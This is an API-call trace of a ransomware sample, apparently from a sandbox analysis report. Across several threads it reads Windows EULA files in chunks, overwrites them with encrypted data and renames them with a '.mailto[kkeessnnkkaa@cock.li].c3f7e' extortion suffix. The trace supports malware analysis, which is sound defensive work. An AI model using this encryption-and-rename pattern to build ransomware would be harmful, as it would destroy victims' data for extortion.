	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xb4afe91b
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x137f0c95
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x986a52d
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xaa178d7
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x6f0d032b
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xd2e23586
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x5363c01b
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xa64049c4
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xb9fe3abb
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x8b8f01ac
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x5c584789
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xa61cf6eb
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xb751cf0f
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xcdbc44f7
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xa8f005f0
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xdd3323e1
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x544a528b
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x46bf70e1
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xc03914e9
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xf303b6a8
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x547a66da
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x332691ca
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xb863c42
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xdbd92d88
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x348f31d5
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x7e28b601
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xedc88704
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x356d1322
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0xc5206fb2
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x77f2d832
	[0088.208] RtlRandom (in: Seed=0x2b2bf8dc | out: Seed=0x2b2bf8dc) returned 0x6746ebb6
	[0088.216] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.217] ReadFile (in: hFile=0x1b64, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b2bf888, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b2bf888*=0xc800, lpOverlapped=0x0) returned 1
	[0088.218] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.218] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.218] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.219] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815d0
	[0088.220] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0088.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.220] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.220] WriteFile (in: hFile=0x1b64, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b2bf888, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b2bf888*=0xc800, lpOverlapped=0x0) returned 1
	[0088.221] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.221] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.221] ReadFile (in: hFile=0x1b64, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b2bf888, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b2bf888*=0xc800, lpOverlapped=0x0) returned 1
	[0088.223] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x70800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0088.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0088.223] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781738
	[0088.223] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0088.224] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x503e840
	[0088.225] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781800
	[0088.225] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47815f8) returned 1
	[0088.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0088.225] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0088.225] WriteFile (in: hFile=0x1b64, lpBuffer=0x503e840*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b2bf888, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesWritten=0x2b2bf888*=0xc800, lpOverlapped=0x0) returned 1
	[0088.227] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.228] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0xc6987, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.228] ReadFile (in: hFile=0x1b64, lpBuffer=0x5032038, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b2bf888, lpOverlapped=0x0 | out: lpBuffer=0x5032038*, lpNumberOfBytesRead=0x2b2bf888*=0xc800, lpOverlapped=0x0) returned 1
	[0088.238] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0xc6987, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb300
	[0088.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0088.238] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e98
	[0088.238] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47e98) returned 1
	[0088.239] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ff2800
	[0088.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ce0
	[0088.242] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.242] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f88) returned 1
	[0088.242] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0088.242] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb300) returned 1
	[0088.243] WriteFile (in: hFile=0x1b64, lpBuffer=0x4ff2800*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b2bf888, lpOverlapped=0x0 | out: lpBuffer=0x4ff2800*, lpNumberOfBytesWritten=0x2b2bf888*=0xc800, lpOverlapped=0x0) returned 1
	[0088.247] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ff2800) returned 1
	[0088.247] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4734088
	[0088.247] SetFilePointerEx (in: hFile=0x1b64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.247] WriteFile (in: hFile=0x1b64, lpBuffer=0x2e02570*, nNumberOfBytesToWrite=0x14d, lpNumberOfBytesWritten=0x2b2bf930, lpOverlapped=0x0 | out: lpBuffer=0x2e02570*, lpNumberOfBytesWritten=0x2b2bf930*=0x14d, lpOverlapped=0x0) returned 1
	[0088.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e02570) returned 1
	[0088.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bba18) returned 1
	[0088.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ee8) returned 1
	[0088.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bb890) returned 1
	[0088.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4734088) returned 1
	[0088.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781580) returned 1
	[0088.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781620) returned 1
	[0088.249] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47817d8) returned 1
	[0088.249] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481a198
	[0088.249] wcscpy (in: _Dest=0x481a198, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm"
	[0088.249] wcscat (in: _Dest=0x481a198, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.250] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b2bf8e8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_he-il.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.250] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47e9d20
	[0088.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9d20) returned 1
	[0088.250] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2db60) returned 1
	[0088.250] NtQueryInformationFile (in: FileHandle=0x1b64, IoStatusBlock=0x2b2bf8f4, FileInformation=0x2b2bf8cc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b2bf8f4, FileInformation=0x2b2bf8cc) returned 0x0
	[0088.250] NtSetInformationFile (FileHandle=0x1b64, IoStatusBlock=0x2b2bf8f4, FileInformation=0x2b2bf8cc, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.251] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481a198) returned 1
	[0088.251] FlushFileBuffers (hFile=0x1b64) returned 1
	[0093.251] CloseHandle (hObject=0x1b64) 

Thread:
	id = 1245
	os_tid = 0x1fe0

	[0088.221] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm")) returned 0x20
	[0088.226] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm", dwFileAttributes=0x20) returned 1
	[0088.226] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hr-hr.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b68
	[0088.226] GetFileSizeEx (in: hFile=0x1b68, lpFileSize=0x2b33f950 | out: lpFileSize=0x2b33f950*=64872) returned 1
	[0088.227] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0xfd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.227] ReadFile (in: hFile=0x1b68, lpBuffer=0x2b33f8d4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b33f8d0, lpOverlapped=0x0 | out: lpBuffer=0x2b33f8d4*, lpNumberOfBytesRead=0x2b33f8d0*=0x4, lpOverlapped=0x0) returned 1
	[0088.228] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.228] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47815f8
	[0088.228] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0088.228] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816e8
	[0088.228] NtQuerySystemTime (in: CurrentTime=0x2b33f8b0 | out: CurrentTime=0x2b33f8b0*=132251868149601109) returned 0x0
	[0088.228] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x2989c25e
	[0088.228] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x20fa3609
	[0088.228] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x35c04ac1
	[0088.228] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x3453b99c
	[0088.228] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x65087b0d
	[0088.228] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xf2dacbd0
	[0088.228] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xdd9f8810
	[0088.228] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x791aa2c3
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x2ff7f79d
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x7e1b192c
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x9e668487
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xa1921160
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x1318b910
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xcb5961e4
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xaa43e3fd
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x83cb6db1
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x3a70813c
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x6c45fcd1
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x761c35ff
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x32cfd769
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x132f6a76
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xcc2ff3b
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x97729b4b
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x3c226605
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x4af8a556
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xc9b025e2
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x5bc3c993
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x395a810f
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x73592c5a
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xa090bb61
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0xa151d0d8
	[0088.229] RtlRandom (in: Seed=0x2b33f8bc | out: Seed=0x2b33f8bc) returned 0x60948bdd
	[0088.238] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.238] ReadFile (in: hFile=0x1b68, lpBuffer=0x503e840, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x2b33f890, lpOverlapped=0x0 | out: lpBuffer=0x503e840*, lpNumberOfBytesRead=0x2b33f890*=0xc800, lpOverlapped=0x0) returned 1
	[0088.243] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb198
	[0088.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d834e0
	[0088.243] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ec0
	[0088.243] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ec0) returned 1
	[0088.244] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4fff008
	[0088.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47d80
	[0088.246] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47da8
	[0088.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47da8) returned 1
	[0088.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d834e0) returned 1
	[0088.246] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb198) returned 1
	[0088.246] WriteFile (in: hFile=0x1b68, lpBuffer=0x4fff008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x2b33f890, lpOverlapped=0x0 | out: lpBuffer=0x4fff008*, lpNumberOfBytesWritten=0x2b33f890*=0xc800, lpOverlapped=0x0) returned 1
	[0088.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fff008) returned 1
	[0088.248] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x503e840) returned 1
	[0088.248] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x47bba50
	[0088.248] SetFilePointerEx (in: hFile=0x1b68, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.248] WriteFile (in: hFile=0x1b68, lpBuffer=0x498ed90*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x2b33f910, lpOverlapped=0x0 | out: lpBuffer=0x498ed90*, lpNumberOfBytesWritten=0x2b33f910*=0x10d, lpOverlapped=0x0) returned 1
	[0088.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ed90) returned 1
	[0088.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bba88) returned 1
	[0088.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47dd0) returned 1
	[0088.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bba50) returned 1
	[0088.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47d80) returned 1
	[0088.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0088.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781738) returned 1
	[0088.252] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f10) returned 1
	[0088.252] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481ae88
	[0088.252] wcscpy (in: _Dest=0x481ae88, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm"
	[0088.252] wcscat (in: _Dest=0x481ae88, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0088.252] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2b33f8c8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hr-hr.htm.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0088.252] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x47ea060
	[0088.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea060) returned 1
	[0088.253] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f2d860) returned 1
	[0088.253] NtQueryInformationFile (in: FileHandle=0x1b68, IoStatusBlock=0x2b33f8d4, FileInformation=0x2b33f8ac, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2b33f8d4, FileInformation=0x2b33f8ac) returned 0x0
	[0088.253] NtSetInformationFile (FileHandle=0x1b68, IoStatusBlock=0x2b33f8d4, FileInformation=0x2b33f8ac, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0088.254] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481ae88) returned 1
	[0088.254] FlushFileBuffers (hFile=0x1b68) returned 1
	[0093.252] CloseHandle (hObject=0x1b68) 

Thread:
	id = 1246
	os_tid = 0x1fe4

	[0088.255] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm")) returned 0x20
	[0088.255] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm", dwFileAttributes=0x20) returned 1
	[0088.255] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_hu-hu.htm" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula\\eula_hu-hu.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b6c
	[0088.255] GetFileSizeEx (in: hFile=0x1b6c, lpFileSize=0x2b3bfd08 | out: lpFileSize=0x2b3bfd08*=84570) returned 1
	[0088.255] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x14a56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.255] ReadFile (in: hFile=0x1b6c, lpBuffer=0x2b3bfc8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b3bfc88, lpOverlapped=0x0 | out: lpBuffer=0x2b3bfc8c*, lpNumberOfBytesRead=0x2b3bfc88*=0x4, lpOverlapped=0x0) returned 1
	[0088.256] SetFilePointerEx (in: hFile=0x1b6c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0088.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47e48
	[0088.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f88
	[0088.256] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47df8
	[0088.256] NtQuerySystemTime (in: CurrentTime=0x2b3bfc68 | out: CurrentTime=0x2b3bfc68*=132251868149913180) returned 0x0
	[0088.256] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xd3a8047c
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x9a805654
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x13133ff
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x17d69bc2
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x55175f3e
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0xed7f5179
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x7a2940fd
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x5c03756
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x6f3d15d5
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x361f7aaf
	[0088.257] RtlRandom (in: Seed=0x2b3bfc74 | out: Seed=0x2b3bfc74) returned 0x4a96efc1
